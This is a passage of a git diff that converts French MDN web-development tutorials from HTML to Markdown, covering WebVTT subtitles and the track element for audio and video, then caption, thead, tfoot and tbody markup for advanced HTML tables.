-<dl> - <dt>les sous‑titres (<code>subtitles</code>)</dt> - <dd>Traductions d'éléments d'une langue étrangère pour les personnes ne comprenant pas les paroles de l'audio.</dd> - <dt>les légendes (<code>captions</code>) </dt> - <dd>Transcriptions synchrones de dialogues ou de descriptions de sons significatifs, pour permettre aux personnes ne pouvant entendre le son de comprendre ce qui se passe.</dd> - <dt>les descriptions programmées (<code>descriptions</code>) </dt> - <dd>Textes convertis en audio, pour aider les personnes avec des défauts de vision.</dd> -</dl> +Un fichier WebVTT typique ressemblera à : -<p>Un fichier WebVTT typique ressemblera à :</p> + WEBVTT -<pre>WEBVTT + 1 + 00:00:22.230 --> 00:00:24.606 + Ceci est le premier sous‑titre. -1 -00:00:22.230 --> 00:00:24.606 -Ceci est le premier sous‑titre. + 2 + 00:00:30.739 --> 00:00:34.074 + Ceci est le deuxième. -2 -00:00:30.739 --> 00:00:34.074 -Ceci est le deuxième. + ... - ...</code> -</pre> +Pour qu'il soit affiché avec la diffusion du média HTML, il faut : -<p>Pour qu'il soit affiché avec la diffusion du média HTML, il faut :</p> +1. Enregistrer le fichier avec l'extension `.vtt` dans un endroit sensé. +2. Lier le fichier `.vtt` avec l'élément {{htmlelement("track")}}. `<track>` doit être placé entre les balises `<audio>` ou `<video>`, mais après tous les éléments `<source>`. Utilisez l'attribut {{htmlattrxref("kind","track")}} pour préciser si les marqueurs sont `subtitles`, `captions` ou `descriptions`. Plus loin, utilisez l'attribut {{htmlattrxref("srclang","track")}} pour indiquer au navigateur la langue dans laquelle sont écrit les sous‑titres. -<ol> - <li>Enregistrer le fichier avec l'extension <code>.vtt</code> dans un endroit sensé.</li> - <li>Lier le fichier <code>.vtt</code> avec l'élément {{htmlelement("track")}}. <code><track></code> doit être placé entre les balises <code><audio></code> ou <code><video></code>, mais après tous les éléments <code><source></code>. Utilisez l'attribut {{htmlattrxref("kind","track")}} pour préciser si les marqueurs sont <code>subtitles</code>, <code>captions</code> ou <code>descriptions</code>. Plus loin, utilisez l'attribut {{htmlattrxref("srclang","track")}} pour indiquer au navigateur la langue dans laquelle sont écrit les sous‑titres.</li> -</ol> +Voici un exemple : -<p>Voici un exemple :</p> +```html +<video controls> + <source src="example.mp4" type="video/mp4"> + <source src="example.webm" type="video/webm"> + <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> +</video> +``` -<pre class="brush: html"><video controls> - <source src="example.mp4" type="video/mp4"> - <source src="example.webm" type="video/webm"> - <track kind="subtitles" src="subtitles_en.vtt" srclang="en"> -</video></pre> +Il en résultera une vidéo dont les sous-titres seront affichés un peu comme ceci : -<p>Il en résultera une vidéo dont les sous-titres seront affichés un peu comme ceci :</p> + -<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="video-player-with-captions.png"></p> +Pour plus de détails, lisez [Ajouter des légendes et des sous‑titres aux vidéos HTML5](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video). Vous [trouverez un exemple](http://iandevlin.github.io/mdn/video-player-with-captions/), écrit par Ian Devlin, accompagnant cet article sur Github (voyez le [code source](https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions) aussi). Cet exemple utilise un peu de JavaScript pour permettre à l'utilisateur de choisir entre différents sous‑titres. Notez que pour activer les sous‑titres, vous devez presser le bouton « CC » et selectionner une option — English, Deutsch ou Español. -<p>Pour plus de détails, lisez <a href="/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Ajouter des légendes et des sous‑titres aux vidéos HTML5</a>. Vous <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">trouverez un exemple</a>, écrit par Ian Devlin, accompagnant cet article sur Github (voyez le <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">code source</a> aussi). Cet exemple utilise un peu de JavaScript pour permettre à l'utilisateur de choisir entre différents sous‑titres. Notez que pour activer les sous‑titres, vous devez presser le bouton « CC » et selectionner une option — English, Deutsch ou Español. </p> +> **Note :** Les pistes texte peuvent aussi vous aider avec {{glossary("SEO")}}, car les moteurs de recherche sont très performants sur le texte. Les pistes textes permettent aussi aux moteurs de recherche de faire un lien direct à un point particulier de la vidéo. -<div class="note"> -<p><strong>Note :</strong> Les pistes texte peuvent aussi vous aider avec {{glossary("SEO")}}, car les moteurs de recherche sont très performants sur le texte. Les pistes textes permettent aussi aux moteurs de recherche de faire un lien direct à un point particulier de la vidéo.</p> -</div> +### Apprentissage interactif : intégrer vos propres vidéos et audios -<h3 id="Apprentissage_interactif_intégrer_vos_propres_vidéos_et_audios">Apprentissage interactif : intégrer vos propres vidéos et audios</h3> +Pour cet exercice, nous aimerions (idéalement) que vous partiez « dans le monde » pour enregistrer vos propres vidéos et pistes audio — la plupart des téléphones actuels vous permettent facilement de le faire, et, à condition que vous puissiez le transférer sur l'ordinateur, vous pouvez l'utiliser. Vous allez devoir convertir dans les formats adaptés, WebM et MP4 pour la vidéo, MP3 et Ogg pour l'audio. Il y a de nombreux progammes vous permettant de faire ça sans difficulté comme [Miro Video Converter](http://www.mirovideoconverter.com/) et [Audacity](https://sourceforge.net/projects/audacity/). Nous aimerions que vous essayiez ! -<p>Pour cet exercice, nous aimerions (idéalement) que vous partiez « dans le monde » pour enregistrer vos propres vidéos et pistes audio — la plupart des téléphones actuels vous permettent facilement de le faire, et, à condition que vous puissiez le transférer sur l'ordinateur, vous pouvez l'utiliser. Vous allez devoir convertir dans les formats adaptés, WebM et MP4 pour la vidéo, MP3 et Ogg pour l'audio. Il y a de nombreux progammes vous permettant de faire ça sans difficulté comme <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> et <a href="https://sourceforge.net/projects/audacity/">Audacity</a>. Nous aimerions que vous essayiez !</p> +Si vous ne pouvez enregistrer ni vidéo ni audio, alors, n'hésitez pas à vous servir de nos [échantillons audio et vidéo ](https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content)pour réaliser cet exercice. Vous pouvez aussi utiliser notre échantillon-code de référence. -<p>Si vous ne pouvez enregistrer ni vidéo ni audio, alors, n'hésitez pas à vous servir de nos <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">échantillons audio et vidéo </a>pour réaliser cet exercice. Vous pouvez aussi utiliser notre échantillon-code de référence.</p> +Il vous faudra : -<p>Il vous faudra :</p> +1. Préserver vos fichiers audio et vidéo dans un nouveau dossier sur votre ordinateur. +2. Créer un nouveau fichier HTML dans le même répertoire nommé : `index.html`. +3. Ajouter des éléments `<audio>` et `<video>` dans la page; faire en sorte qu'ils affichent les contrôles par défaut du navigateur. +4. Leur attribuer (aux deux) des éléments `<source>` que le navigateur puisse trouver le meilleur format audio et le charger. N'oubliez pas d'inclure les attributs `type`. +5. Donner à l'élément `<video>` une image qui sera affichée avant que la vidéo ne démarre. Amusez-vous à créer votre propre visuel de l'affiche. -<ol> - <li>Préserver vos fichiers audio et vidéo dans un nouveau dossier sur votre ordinateur.</li> - <li>Créer un nouveau fichier HTML dans le même répertoire nommé : <code>index.html</code>.</li> - <li>Ajouter des éléments <code><audio></code> et <code><video></code> dans la page; faire en sorte qu'ils affichent les contrôles par défaut du navigateur.</li> - <li>Leur attribuer (aux deux) des éléments <code><source></code> que le navigateur puisse trouver le meilleur format audio et le charger. N'oubliez pas d'inclure les attributs <code>type</code>.</li> - <li>Donner à l'élément <code><video></code> une image qui sera affichée avant que la vidéo ne démarre. Amusez-vous à créer votre propre visuel de l'affiche.</li> -</ol> +En bonus, vous pouvez chercher des textes à intégrer et ajouter des légendes à vos vidéos. -<p>En bonus, vous pouvez chercher des textes à intégrer et ajouter des légendes à vos vidéos.</p> +## Résumé -<h2 id="Résumé">Résumé</h2> +Emballez, c'est pesé ! Nous espérons que vous avez pris plaisir avec ces pages vidéo et audio. Au chapitre suivant, nous découvrirons des manières différentes d'intégrer du contenu sur le Web en se servant de technologies comme {{htmlelement("iframe")}} et {{htmlelement("object")}}. -<p>Emballez, c'est pesé ! Nous espérons que vous avez pris plaisir avec ces pages vidéo et audio. Au chapitre suivant, nous découvrirons des manières différentes d'intégrer du contenu sur le Web en se servant de technologies comme {{htmlelement("iframe")}} et {{htmlelement("object")}}.</p> +## Consultez aussi : -<h2 id="Consultez_aussi">Consultez aussi :</h2> +- {{htmlelement("audio")}} +- {{htmlelement("video")}} +- {{htmlelement("source")}} +- {{htmlelement("track")}} +- [ Ajouter des légendes et sous-titres aux vidéos HTML5](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video) +- [Intégration Audio et Vidéo ](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery): de nombreux détails sur la manière de mettre de la vidéo et audio sur le web avec HTML et JavaScript. +- [Manipuler l'Audio et la Vidéo](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_manipulation): de nombreux détails pour manipuler l'audio et la vidéo avec JavaScript (par ex. en ajoutant des filtres). +- Options automatisées pour la [traduction multimédia](http://www.inwhatlanguage.com/blog/translate-video-audio/). -<ul> - <li>{{htmlelement("audio")}}</li> - <li>{{htmlelement("video")}}</li> - <li>{{htmlelement("source")}}</li> - <li>{{htmlelement("track")}}</li> - <li><a href="/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video"> Ajouter des légendes et sous-titres aux vidéos HTML5</a></li> - <li><a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Intégration Audio et Vidéo </a>: de nombreux détails sur la manière de mettre de la vidéo et audio sur le web avec HTML et JavaScript.</li> - <li><a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_manipulation">Manipuler l'Audio et la Vidéo</a>: de nombreux détails pour manipuler l'audio et la vidéo avec JavaScript (par ex. en ajoutant des filtres).</li> - <li>Options automatisées pour la <a href="http://www.inwhatlanguage.com/blog/translate-video-audio/">traduction multimédia</a>.</li> -</ul> +{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}} -<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</p> -<p> </p> -<h2 id="Contenu_du_module">Contenu du module :</h2> +## Contenu du module : -<ul> - <li><a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML">Les images en HTML</a></li> - <li><a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">Contenu audio et vidéo</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">From <object> to <iframe> — other embedding technologies</a></li> - <li><a href="/fr/Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_%C3%A0_une_page_web">Ajouter des images vectorielles à une page Web</a></li> - <li><a href="/fr/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_%C3%A0_une_page_web">Ajouter des images "responsive" à une page Web</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla splash page</a></li> -</ul> +- [Les images en HTML](/fr/Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML) +- [Contenu audio et vidéo](/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video) +- [From \<object> to \<iframe> — other embedding technologies](/fr/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies) +- [Ajouter des images vectorielles à une page Web](/fr/Apprendre/HTML/Comment/Ajouter_des_images_vectorielles_%C3%A0_une_page_web) +- [Ajouter des images "responsive" à une page Web](/fr/Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_%C3%A0_une_page_web) +- [Mozilla splash page](/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page) -<p> </p> -<dl> -</dl> -<ul> -</ul> +<!----> diff --git a/files/fr/learn/html/tables/advanced/index.md b/files/fr/learn/html/tables/advanced/index.md index 7a6f46a012..08a424fa99 100644 --- a/files/fr/learn/html/tables/advanced/index.md +++ b/files/fr/learn/html/tables/advanced/index.md @@ -21,111 +21,108 @@ tags: translation_of: Learn/HTML/Tables/Advanced original_slug: Apprendre/HTML/Tableaux/Advanced --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}} -<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div> - -<p>Dans le second article de ce module, nous examinerons quelques dispositions avancées des tableaux HTML — comme intitulés ou résumés, groupement des rangées dans l'en-tête, le corps ou le pied de page du tableau — ainsi que l'accessibilité des tableaux aux utilisateurs malvoyants.</p> +Dans le second article de ce module, nous examinerons quelques dispositions avancées des tableaux HTML — comme intitulés ou résumés, groupement des rangées dans l'en-tête, le corps ou le pied de page du tableau — ainsi que l'accessibilité des tableaux aux utilisateurs malvoyants. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Les bases de HTML (voir <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>En apprendre plus sur les fonctionnalités HTML plus avancées et l'accessibilité aux tableaux.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Les bases de HTML (voir + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction au HTML</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + En apprendre plus sur les fonctionnalités HTML plus avancées et + l'accessibilité aux tableaux. + </td> + </tr> + </tbody> </table> -<h2 id="Ajouter_un_titre_aux_tableaux_avec_<caption>">Ajouter un titre aux tableaux avec <caption></h2> +## Ajouter un titre aux tableaux avec \<caption> -<p>Vous pouvez intituler un tableau en mettant son titre dans un élément {{htmlelement("caption")}} et en englobant le tout dans un élément {{htmlelement("table")}}. Mettez le titre juste après la balise ouvrante <code><table></code>.</p> +Vous pouvez intituler un tableau en mettant son titre dans un élément {{htmlelement("caption")}} et en englobant le tout dans un élément {{htmlelement("table")}}. Mettez le titre juste après la balise ouvrante `<table>`. -<pre class="brush: html"><table> - <caption>Dinosaures dans le Jurassique</caption> +```html +<table> + <caption>Dinosaures dans le Jurassique</caption> ... -</table></pre> +</table> +``` + +Comme vous pouvez le voir sur le bref exemple ci-dessus, le titre consiste en une description synthétique du contenu du tableau. C'est utile pour tous les lecteurs qui souhaitent savoir rapidement si le tableau peut leur être utile, sans avoir à parcourir tout le contenu, en particulier s'ils sont malvoyants. Plutôt que de faire lire au lecteur d'écran de nombreuses cellules pour savoir sur quoi porte le tableau, il ou elle peut se fier au titre, puis décider de lire ou non le tableau dans le détail. -<p>Comme vous pouvez le voir sur le bref exemple ci-dessus, le titre consiste en une description synthétique du contenu du tableau. C'est utile pour tous les lecteurs qui souhaitent savoir rapidement si le tableau peut leur être utile, sans avoir à parcourir tout le contenu, en particulier s'ils sont malvoyants. Plutôt que de faire lire au lecteur d'écran de nombreuses cellules pour savoir sur quoi porte le tableau, il ou elle peut se fier au titre, puis décider de lire ou non le tableau dans le détail.</p> +Le titre est placé directement sous la balise `<table>`. -<p>Le titre est placé directement sous la balise <code><table></code>.</p> +> **Note :** L'attribut {{htmlattrxref("summary","table")}} peut aussi être utilisé dans un élément `<table>` pour fournir une description — il sera lu également par les lecteurs d'écran. Toutefois, nous nous devons de recommander plutôt l'utilisation de l'élément `<caption>`, car `summary` est considéré comme {{glossary("deprecated", "obsolète")}} par la norme HTML5, et ne peut être lu par l'utilisateur courant (il n'apparaît pas dans la page). -<div class="note"> -<p><strong>Note :</strong> L'attribut {{htmlattrxref("summary","table")}} peut aussi être utilisé dans un élément <code><table></code> pour fournir une description — il sera lu également par les lecteurs d'écran. Toutefois, nous nous devons de recommander plutôt l'utilisation de l'élément <code><caption></code>, car <code>summary</code> est considéré comme {{glossary("deprecated", "obsolète")}} par la norme HTML5, et ne peut être lu par l'utilisateur courant (il n'apparaît pas dans la page).</p> -</div> +### Apprentissage actif : Ajouter un titre -<h3 id="Apprentissage_actif_Ajouter_un_titre">Apprentissage actif : Ajouter un titre</h3> +Essayons en revisitant un exemple rencontré dans l'article précédent. -<p>Essayons en revisitant un exemple rencontré dans l'article précédent.</p> +1. Ouvrez le planning du professeur de langue de la fin de [Tableaux HTML : notions de base](/fr/docs/Learn/HTML/Tables/Basics#Active_learning_colgroup_and_col) ou faites une copie locale du fichier [timetable-fixed.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html). +2. Ajoutez un titre approprié pour le tableau. +3. Enregistrez votre code et ouvrez-le dans un navigateur pour voir à quoi il ressemble. -<ol> - <li>Ouvrez le planning du professeur de langue de la fin de <a href="/fr/docs/Learn/HTML/Tables/Basics#Active_learning_colgroup_and_col">Tableaux HTML : notions de base</a> ou faites une copie locale du fichier <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a>.</li> - <li>Ajoutez un titre approprié pour le tableau.</li> - <li>Enregistrez votre code et ouvrez-le dans un navigateur pour voir à quoi il ressemble.</li> -</ol> +> **Note :** Vous pouvez trouver notre version sur GitHub — voir [timetable-caption.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/timetable-caption.html) ([voir aussi directement](http://mdn.github.io/learning-area/html/tables/advanced/timetable-caption.html)). -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver notre version sur GitHub — voir <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/timetable-caption.html">timetable-caption.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/timetable-caption.html">voir aussi directement</a>).</p> -</div> +## Ajout d'une structure avec \<thead>, \<tfoot>, et \<tbody> -<h2 id="Ajout_d'une_structure_avec_<thead>_<tfoot>_et_<tbody>">Ajout d'une structure avec <thead>, <tfoot>, et <tbody></h2> +Comme vos tableaux deviennent un peu plus structurellement complexes, il est utile d'en améliorer la définition. Une façon claire d'y parvenir consiste à utiliser les éléments {{htmlelement("thead")}}, {{htmlelement("tfoot")}} et {{htmlelement("tbody")}}, qui vous permettent de marquer l'en-tête, le pied et le corps du tableau. -<p>Comme vos tableaux deviennent un peu plus structurellement complexes, il est utile d'en améliorer la définition. Une façon claire d'y parvenir consiste à utiliser les éléments {{htmlelement("thead")}}, {{htmlelement("tfoot")}} et {{htmlelement("tbody")}}, qui vous permettent de marquer l'en-tête, le pied et le corps du tableau.</p> +Ces éléments ne rendent pas le tableau plus accessible aux utilisateurs de lecteurs d'écran, et n'entraînent aucune amélioration visuelle par eux-mêmes. Ils sont cependant très utiles pour la présentation et la mise en page — agissant comme des accroches pour l'ajout des CSS. Pour vous donner quelques exemples intéressants, dans le cas d'un grand tableau, vous pouvez répéter l'en-tête et le pied de page sur chaque page imprimée ; vous pouvez prévoir l'affichage du corps sur une seule page et accéder au contenu par défilement vers le haut ou vers le bas. -<p>Ces éléments ne rendent pas le tableau plus accessible aux utilisateurs de lecteurs d'écran, et n'entraînent aucune amélioration visuelle par eux-mêmes. Ils sont cependant très utiles pour la présentation et la mise en page — agissant comme des accroches pour l'ajout des CSS. Pour vous donner quelques exemples intéressants, dans le cas d'un grand tableau, vous pouvez répéter l'en-tête et le pied de page sur chaque page imprimée ; vous pouvez prévoir l'affichage du corps sur une seule page et accéder au contenu par défilement vers le haut ou vers le bas.</p> +Pour les utiliser : -<p>Pour les utiliser :</p> +- L'élément `<thead>` doit couvrir la partie du tableau qui est l'en-tête — ce sera en général la première ligne contenant les en-têtes de colonnes, mais pas toujours. Dans le code, si vous utilisez les éléments {{htmlelement("col")}}/{{htmlelement("colgroup")}}, l'en-tête du tableau devrait venir juste en-dessous de ceux-ci. +- L'élément `<tfoot>` doit envelopper la partie du tableau qui est le pied de page — ce peut être une dernière ligne contenant, par exemple, la somme des rangées précédentes. Vous pouvez inclure l'élément \<tfoot> à la suite du code contenant le corps du tableau, là où vous souhaitez le trouver, ou juste en-dessous de l'élément \<thead> (le navigateur l'affichera toujours en pied de tableau). +- L'élément `<tbody>` doit couvrir toutes les parties du tableau non contenues dans un \<thead> ou un \<tfoot>. Il pourra apparaître dans le code, sous la déclaration de l'en-tête ou du pied de page, selon la façon dont vous avez décidé de le structurer (voir les notes ci‑dessus). -<ul> - <li>L'élément <code><thead></code> doit couvrir la partie du tableau qui est l'en-tête — ce sera en général la première ligne contenant les en-têtes de colonnes, mais pas toujours. Dans le code, si vous utilisez les éléments {{htmlelement("col")}}/{{htmlelement("colgroup")}}, l'en-tête du tableau devrait venir juste en-dessous de ceux-ci.</li> - <li>L'élément <code><tfoot></code> doit envelopper la partie du tableau qui est le pied de page — ce peut être une dernière ligne contenant, par exemple, la somme des rangées précédentes. Vous pouvez inclure l'élément <tfoot> à la suite du code contenant le corps du tableau, là où vous souhaitez le trouver, ou juste en-dessous de l'élément <thead> (le navigateur l'affichera toujours en pied de tableau).</li> - <li>L'élément <code><tbody></code> doit couvrir toutes les parties du tableau non contenues dans un <thead> ou un <tfoot>. Il pourra apparaître dans le code, sous la déclaration de l'en-tête ou du pied de page, selon la façon dont vous avez décidé de le structurer (voir les notes ci‑dessus).</li> -</ul> +> **Note :** `<tbody>` est toujours inclus dans tous les tableaux, implicitement si vous ne l'avez pas spécifié dans votre code. Pour le vérifier, ouvrez un tableau ne contenant pas l'élément `<tbody>` et regardez le code HTML dans les [outils de développement de votre navigateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) — vous verrez que le navigateur a ajouté cette balise pour vous. Si vous vous demandez pourquoi vous ennuyer à gérer ce qui est ajouté automatiquement — parce que cela vous donne plus de contrôle sur la structure et l'apparence de votre tableau. -<div class="note"> -<p><strong>Note :</strong> <code><tbody></code> est toujours inclus dans tous les tableaux, implicitement si vous ne l'avez pas spécifié dans votre code. Pour le vérifier, ouvrez un tableau ne contenant pas l'élément <code><tbody></code> et regardez le code HTML dans les <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">outils de développement de votre navigateur</a> — vous verrez que le navigateur a ajouté cette balise pour vous. Si vous vous demandez pourquoi vous ennuyer à gérer ce qui est ajouté automatiquement — parce que cela vous donne plus de contrôle sur la structure et l'apparence de votre tableau.</p> -</div> +### Apprentissage actif : Ajout d'une structure au tableau -<h3 id="Apprentissage_actif_Ajout_d'une_structure_au_tableau">Apprentissage actif : Ajout d'une structure au tableau</h3> +Mettons en œuvre ces nouveaux éléments. -<p>Mettons en œuvre ces nouveaux éléments.</p> +1. D'abord, faites une copie locale des fichiers [spending-record.html](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css) dans un nouveau dossier. +2. Essayez de les ouvrir dans un navigateur — vous verrez que cela paraît correct, mais gagnerait à être amélioré. La ligne "SUM" qui contient les totaux des montants dépensés semble être au mauvais endroit et il manque certains détails du code. +3. Mettez la ligne d'en-têtes en évidence avec l'élément `<thead>` , la ligne des totaux ("SUM") dans un `<tfoot>`, et le reste du contenu dans un `<tbody>`. +4. Enregistrez et actualisez, et vous verrez que l'ajout de l'élément `<tfoot>` a renvoyé la ligne "SUM" en bas du tableau. +5. Ensuite, ajoutez un attribut {{htmlattrxref("colspan","td")}} pour générer une cellule Total ("SUM") couvrant les quatre premières colonnes, ainsi le nombre réel apparaît au pied de la colonne « Coût ». +6. Ajoutons un style supplémentaire au tableau, pour vous donner une idée de l'utilité de ces éléments pour l'application des CSS. Dans le \<head> du document HTML, vous pouvez voir un élément {{htmlelement("style")}} vide, ajoutez les lignes suivantes de code CSS : -<ol> - <li>D'abord, faites une copie locale des fichiers <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record.html">spending-record.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a> dans un nouveau dossier.</li> - <li>Essayez de les ouvrir dans un navigateur — vous verrez que cela paraît correct, mais gagnerait à être amélioré. La ligne "SUM" qui contient les totaux des montants dépensés semble être au mauvais endroit et il manque certains détails du code.</li> - <li>Mettez la ligne d'en-têtes en évidence avec l'élément <code><thead></code> , la ligne des totaux ("SUM") dans un <code><tfoot></code>, et le reste du contenu dans un <code><tbody></code>.</li> - <li>Enregistrez et actualisez, et vous verrez que l'ajout de l'élément <code><tfoot></code> a renvoyé la ligne "SUM" en bas du tableau.</li> - <li>Ensuite, ajoutez un attribut {{htmlattrxref("colspan","td")}} pour générer une cellule Total ("SUM") couvrant les quatre premières colonnes, ainsi le nombre réel apparaît au pied de la colonne « Coût ».</li> - <li>Ajoutons un style supplémentaire au tableau, pour vous donner une idée de l'utilité de ces éléments pour l'application des CSS. Dans le <head> du document HTML, vous pouvez voir un élément {{htmlelement("style")}} vide, ajoutez les lignes suivantes de code CSS : - <pre class="brush: css">tbody { - font-size: 90%; - font-style: italic; -} + ```css + tbody { + font-size: 90%; + font-style: italic; + } -tfoot { - font-weight: bold; -} -</pre> - </li> - <li>Enregistrez, actualisez et regardez le résultat. Si <code><tbody></code> et <code><tfoot></code> n'étaient pas en place, vous devriez écrire plus de commandes plus complexes (sélection/règles) pour l'application des mêmes styles.</li> -</ol> + tfoot { + font-weight: bold; + } + ``` -<div class="note"> -<p><strong>Note :</strong> Nous ne nous attendons pas à ce que vous compreniez les CSS maintenant. Vous en apprendrez plus avec les modules à propos des CSS (<a href="/fr/docs/Learn/CSS/Introduction_to_CSS">Introduction aux CSS</a> est un bon moyen de commencer ; il y a aussi un article spécifique sur <a href="/fr/docs/Learn/CSS/Styling_boxes/Styling_tables">l'esthétique des tables</a>).</p> -</div> +7. Enregistrez, actualisez et regardez le résultat. Si `<tbody>` et `<tfoot>` n'étaient pas en place, vous devriez écrire plus de commandes plus complexes (sélection/règles) pour l'application des mêmes styles. -<p>Le code de votre tableau fini devrait ressembler à quelque chose comme :</p> +> **Note :** Nous ne nous attendons pas à ce que vous compreniez les CSS maintenant. Vous en apprendrez plus avec les modules à propos des CSS ([Introduction aux CSS](/fr/docs/Learn/CSS/Introduction_to_CSS) est un bon moyen de commencer ; il y a aussi un article spécifique sur [l'esthétique des tables](/fr/docs/Learn/CSS/Styling_boxes/Styling_tables)). -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Enregistrer mes dépenses</title> - <style> +Le code de votre tableau fini devrait ressembler à quelque chose comme : + +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Enregistrer mes dépenses</title> + <style> html { font-family: sans-serif; @@ -171,306 +168,284 @@ tfoot { tfoot { font-weight: bold; } - </style> - </head> - <body> - <table> - <caption>Comment j'ai choisi de dépenser mon argent</caption> - <thead> - <tr> - <th>Achats</th> - <th>Où ?</th> - <th>Date</th> - <th>Avis</th> - <th>Coût (€)</th> - </tr> - </thead> - <tfoot> - <tr> - <td colspan="4">SUM</td> - <td>118</td> - </tr> - </tfoot> - <tbody> - <tr> - <td>Coupe de cheveux</td> - <td>Coiffeur</td> - <td>12/09</td> - <td>Bonne idée</td> - <td>30</td> - </tr> - <tr> - <td>Lasagnes</td> - <td>Restaurant</td> - <td>12/09</td> - <td>Regrets</td> - <td>18</td> - </tr> - <tr> - <td>Souliers</td> - <td>Chaussures</td> - <td>13/09</td> - <td>Gros regrets</td> - <td>65</td> - </tr> - <tr> - <td>Dentifrice</td> - <td>Supermarché</td> - <td>13/09</td> - <td>Bien</td> - <td>5</td> - </tr> - </tbody> - </table> - - </body> -</html></pre> - -<p>{{ EmbedLiveSample("Apprentissage_actif_Ajout_d'une_structure_au_tableau", '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p> - -<div class="note"> -<p><strong>Note :</strong> Vous pouvez aussi le trouver sur Github <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/spending-record-finished.html">spending-record-finished.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/spending-record-finished.html">voir aussi le résultat</a> directement).</p> -</div> - -<h2 id="Tableaux_imbriqués">Tableaux imbriqués</h2> - -<p>Il est possible d'inclure un tableau dans un autre, à condition d'en spécifier la structure complète, y compris l'élément <code><table></code>. Ce n'est généralement pas vraiment conseillé, car cette opération rend le balisage plus confus et moins accessible pour les utilisateurs de lecteurs d'écran, alors que dans de nombreux cas, il suffit d'insérer des cellules/lignes/colonnes supplémentaires dans un tableau existant. Mais il est parfois nécessaire de le faire, quand par exemple vous souhaitez importer facilement des données provenant d'autres sources.</p> - -<p>Le balisage suivant montre un tableau simple imbriqué :</p> - -<pre class="brush: html"><table id="table1"> - <tr> - <th>title1</th> - <th>title2</th> - <th>title3</th> - </tr> - <tr> - <td id="nested"> - <table id="table2"> - <tr> - <td>cell1</td> - <td>cell2</td> - <td>cell3</td> - </tr> - </table> - </td> - <td>cell2</td> - <td>cell3</td> - </tr> - <tr> - <td>cell4</td> - <td>cell5</td> - <td>cell6</td> - </tr> -</table></pre> - -<p>Voici la sortie qui en résulte :</p> + </style> + </head> + <body> + <table> + <caption>Comment j'ai choisi de dépenser mon argent</caption> + <thead> + <tr> + <th>Achats</th> + <th>Où ?</th> + <th>Date</th> + <th>Avis</th> + <th>Coût (€)</th> + </tr> + </thead> + <tfoot> + <tr> + <td colspan="4">SUM</td> + <td>118</td> + </tr> + </tfoot> + <tbody> + <tr> + <td>Coupe de cheveux</td> + 